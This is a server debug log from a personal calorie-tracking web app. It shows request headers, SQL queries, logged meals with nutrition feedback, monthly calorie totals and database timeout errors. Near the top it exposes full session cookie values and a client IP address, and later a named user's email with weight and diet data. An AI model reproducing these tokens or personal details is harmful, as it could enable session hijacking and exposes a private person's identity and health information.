    cookie: 'security.auth=s%3AxHYmim%2FoTc2KPr20nQzwHw%3D%3D.qe02wUH0YRZYaXKav45rB4DBUaj2icdyYNp1OO7MyZ1T4ywBAMqIA%2F4bvpGPxj7JNVMmvCsEGtMJhokdl5ucyrVGPyqcRNCbbL8%2BvHE7P2jpJJOvBm6ubZZGZjcdwIH9vmmR7HTuaphBTcGnWsrux6ZdqofHn3id%2BEGaMmNxq0c%3D.02FtE%2Fw1H00POOUi2OPFEWTqT8t0D%2FpiwuiqEIcJyis; your_r_git.sid=s%3AQq2tibWaXFO9cZFfGA0LsqHfV2TP-kyq.AwMsduKU1UcD2nJ37hxe0X1YegdXBkKwRJRl%2Fh5dvOg',
    'x-forwarded-for': '49.43.180.83',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-25T00:44:59.523Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.83',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AxHYmim%2FoTc2KPr20nQzwHw%3D%3D.qe02wUH0YRZYaXKav45rB4DBUaj2icdyYNp1OO7MyZ1T4ywBAMqIA%2F4bvpGPxj7JNVMmvCsEGtMJhokdl5ucyrVGPyqcRNCbbL8%2BvHE7P2jpJJOvBm6ubZZGZjcdwIH9vmmR7HTuaphBTcGnWsrux6ZdqofHn3id%2BEGaMmNxq0c%3D.02FtE%2Fw1H00POOUi2OPFEWTqT8t0D%2FpiwuiqEIcJyis; your_r_git.sid=s%3AQq2tibWaXFO9cZFfGA0LsqHfV2TP-kyq.AwMsduKU1UcD2nJ37hxe0X1YegdXBkKwRJRl%2Fh5dvOg',
    'HTTP_X_FORWARDED-FOR': '49.43.180.83',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-24T08:01:05.208Z server-connect:app Executing action step identify
2025-12-24T08:01:05.208Z server-connect:app options: { provider: 'security' }
2025-12-24T08:01:05.208Z server-connect:output identity: 1
2025-12-24T08:01:05.537Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-24T08:01:05.538Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-24T08:01:05.539Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-24T08:01:05.539Z server-connect:app Executing action step identify
2025-12-24T08:01:05.539Z server-connect:app options: { provider: 'security' }
2025-12-24T08:01:05.540Z server-connect:output identity: 1
2025-12-24T08:01:05.540Z server-connect:app Executing action step restrict
2025-12-24T08:01:05.540Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T08:01:05.540Z server-connect:app Executing action step identify
2025-12-24T08:01:05.540Z server-connect:app options: { provider: 'security' }
2025-12-24T08:01:05.540Z server-connect:output identity: 1
2025-12-24T08:01:05.540Z server-connect:app Executing action step restrict
2025-12-24T08:01:05.540Z server-connect:app options: { provider: 'security' }
2025-12-24T08:01:05.540Z server-connect:output restrict: undefined
2025-12-24T08:01:05.540Z server-connect:app Executing action step single
2025-12-24T08:01:05.540Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-24T08:01:05.543Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-24T08:01:05.544Z server-connect:output restrict: undefined
2025-12-24T08:01:05.544Z server-connect:app Executing action step single
2025-12-24T08:01:05.544Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-24T08:01:05.545Z server-connect:output summary: {
  summary: {
    rating: 6,
    summary: "The day's nutrition shows a good start with protein intake from whey, but the overall meal composition appears to be lacking in variety and substantial protein sources beyond the supplement. Meal timing seems reasonable with a pre-workout and post-workout protein, but the main meal could be more balanced. Recovery support is present with the whey protein.",
    bad_points: [
      'Limited variety in food consumed.',
      'Main meal (Poha) may not be sufficiently protein-dense for muscle development goals.',
      'Overall protein intake might be suboptimal without further meals.'
    ],
    good_points: [
      'Inclusion of whey protein post-workout for muscle recovery.',
      'Pre-workout supplement used to support training intensity.',
      'Reasonable meal timing around the workout.'
    ],
    suggestions: [
      'Incorporate more diverse protein sources throughout the day, such as lean meats, fish, legumes, or paneer.',
      'Ensure the main meal includes a good portion of protein and complex carbohydrates.',
      'Consider adding fiber-rich vegetables to meals for better satiety and nutrient intake.',
      'Stay well-hydrated throughout the day.'
    ],
    predicted_weight: 69.5,
    rating_judgement: 'Fairly good',
    predicted_weight_trend: 'Slight downward trend'
  },
  date: '2025-12-23T18:30:00.000Z'
}
2025-12-24T08:01:05.547Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-24T08:01:05.547Z server-connect:app Executing action step select
2025-12-24T08:01:05.547Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-24T08:01:05.547Z server-connect:app Executing action step identify
2025-12-24T08:01:05.547Z server-connect:app options: { provider: 'security' }
2025-12-24T08:01:05.547Z server-connect:output identity: 1
2025-12-24T08:01:05.548Z server-connect:app Executing action step restrict
2025-12-24T08:01:05.548Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T08:01:05.548Z server-connect:app Executing action step identify
2025-12-24T08:01:05.548Z server-connect:app options: { provider: 'security' }
2025-12-24T08:01:05.548Z server-connect:output identity: 1
2025-12-24T08:01:05.548Z server-connect:app Executing action step restrict
2025-12-24T08:01:05.548Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T08:01:05.550Z server-connect:output restrict: undefined
2025-12-24T08:01:05.550Z server-connect:app Executing action step select
2025-12-24T08:01:05.550Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-24T08:01:05.550Z server-connect:output restrict: undefined
2025-12-24T08:01:05.551Z server-connect:app Executing action step single
2025-12-24T08:01:05.551Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-24T08:01:05.552Z server-connect:output item_list: [
  {
    id: 500,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Jamfal (Guava)',
    calories: 30,
    protein_gm: 1,
    carbs_gm: 7,
    fat_gm: 0,
    quantity: '2 slices',
    replacements: 'Cucumber slices,Watermelon slices,Bell pepper strips',
    created_at: '2025-12-23T19:28:36.000Z',
    skip_level: 1,
    skip_reason: "Jamfal is a good source of Vitamin C and fiber, beneficial for overall health and recovery. It's a low-calorie fruit."
  },
  {
    id: 501,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Pre-workout supplement',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop',
    replacements: 'Black coffee (no sugar/cream),Green tea,Small piece of fruit (e.g., half a banana)',
    created_at: '2025-12-23T19:28:36.000Z',
    skip_level: 2,
    skip_reason: "While pre-workouts can provide a boost for intense sessions, they often contain artificial sweeteners, colors, and stimulants. For muscle development, focus on whole foods and adequate sleep. If you feel you need it, ensure it's a high-quality product with minimal additives. Consider if the energy boost is truly necessary for every session or if natural sources can suffice."
  },
  {
    id: 502,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 1,
    quantity: '1 scoop (27g protein)',
    replacements: 'Casein protein (slower digestion, good for muscle building),Egg whites (pure protein, very low calorie),Greek yogurt (high protein, lower calorie than some whey shakes)',
    created_at: '2025-12-23T22:18:53.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for muscle development, high protein content, and relatively low in other macros. Ideal for your goals.'
  },
  {
    id: 503,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Poha (mixed with tomato, onion, matar)',
    calories: 200,
    protein_gm: 5,
    carbs_gm: 40,
    fat_gm: 3,
    quantity: '1 serving (approx. 150g cooked)',
    replacements: 'Quinoa Poha (higher protein, more fiber),Oats Poha (more fiber, can be lower calorie depending on preparation),Brown Rice Poha (more fiber than white poha)',
    created_at: '2025-12-23T22:18:53.000Z',
    skip_level: 1,
    skip_reason: 'Good source of complex carbohydrates for energy, and the vegetables add fiber and micronutrients. A decent breakfast option for your activity level.'
  },
  {
    id: 504,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Green Tea',
    calories: 2,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)',
    replacements: 'Water,Herbal tea (e.g., peppermint, chamomile)',
    created_at: '2025-12-24T01:28:24.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for health, contains antioxidants, negligible calories.'
  },
  {
    id: 505,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Patta Gobi Sabji',
    calories: 90,
    protein_gm: 3,
    carbs_gm: 12,
    fat_gm: 4,
    quantity: '1 serving (approx 150g)',
    replacements: 'Steamed cabbage with minimal oil,Cabbage soup,Cabbage salad',
    created_at: '2025-12-24T02:31:04.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 506,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Roti',
    calories: 360,
    protein_gm: 12,
    carbs_gm: 76,
    fat_gm: 2,
    quantity: '4 rotis (approx 120g total)',
    replacements: 'Multigrain roti,Jowar/Bajra roti,Brown rice',
    created_at: '2025-12-24T02:31:04.000Z',
    skip_level: 2,
    skip_reason: "While a good source of carbs for energy, 4 rotis might be a bit high for a single meal if you're aiming for muscle development and managing overall calorie intake, especially if you have other carb sources. Consider reducing to 2-3 rotis and adding more protein/vegetables."
  }
]
2025-12-24T08:01:05.552Z server-connect:app Executing action step setvalue
2025-12-24T08:01:05.552Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-24T08:01:05.552Z server-connect:output var_total: 812
2025-12-24T08:01:05.552Z server-connect:app Executing action step setvalue
2025-12-24T08:01:05.552Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-24T08:01:05.552Z server-connect:output var_consumed: 34
2025-12-24T08:01:05.552Z server-connect:app Executing action step setvalue
2025-12-24T08:01:05.552Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-24T08:01:05.552Z server-connect:output var_deficit: 1588
2025-12-24T08:01:05.552Z server-connect:app Executing action step custom
2025-12-24T08:01:05.553Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-24T08:01:05.555Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-24T08:01:05.556Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-24T08:01:05.558Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '2115',
    surplus_or_deficit: '285',
    status_flag: 1
  },
  {
    intake_date: 2025-12-19T18:30:00.000Z,
    total_consumed: '1575',
    surplus_or_deficit: '825',
    status_flag: 2
  },
  {
    intake_date: 2025-12-20T18:30:00.000Z,
    total_consumed: '972',
    surplus_or_deficit: '1428',
    status_flag: 2
  },
  {
    intake_date: 2025-12-21T18:30:00.000Z,
    total_consumed: '1325',
    surplus_or_deficit: '1075',
    status_flag: 2
  },
  {
    intake_date: 2025-12-22T18:30:00.000Z,
    total_consumed: '1052',
    surplus_or_deficit: '1348',
    status_flag: 2
  },
  {
    intake_date: 2025-12-23T18:30:00.000Z,
    total_consumed: '812',
    surplus_or_deficit: '1588',
    status_flag: 2
  }
]
2025-12-24T08:01:05.558Z server-connect:app Executing action step single
2025-12-24T08:01:05.558Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'health_weight_trackor' },
    joins: [],
    orders: [ [Object] ],
    query: 'select `weight`, `date` from `health_weight_trackor` order by `created_on` DESC'
  }
}
2025-12-24T08:01:05.559Z server-connect:output current_weight: { weight: '69.70', date: '2025-12-23T18:30:00.000Z' }
2025-12-24T08:01:06.253Z server-connect:app Executing action step identify
2025-12-24T08:01:06.253Z server-connect:app options: { provider: 'security' }
2025-12-24T08:01:06.253Z server-connect:output identity: 1
2025-12-24T08:01:19.033Z server-connect:app Executing action step identify
2025-12-24T08:01:19.033Z server-connect:app options: { provider: 'security' }
2025-12-24T08:01:19.033Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-24 08:01:57' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-24 08:01:57' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-24 08:03:17' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
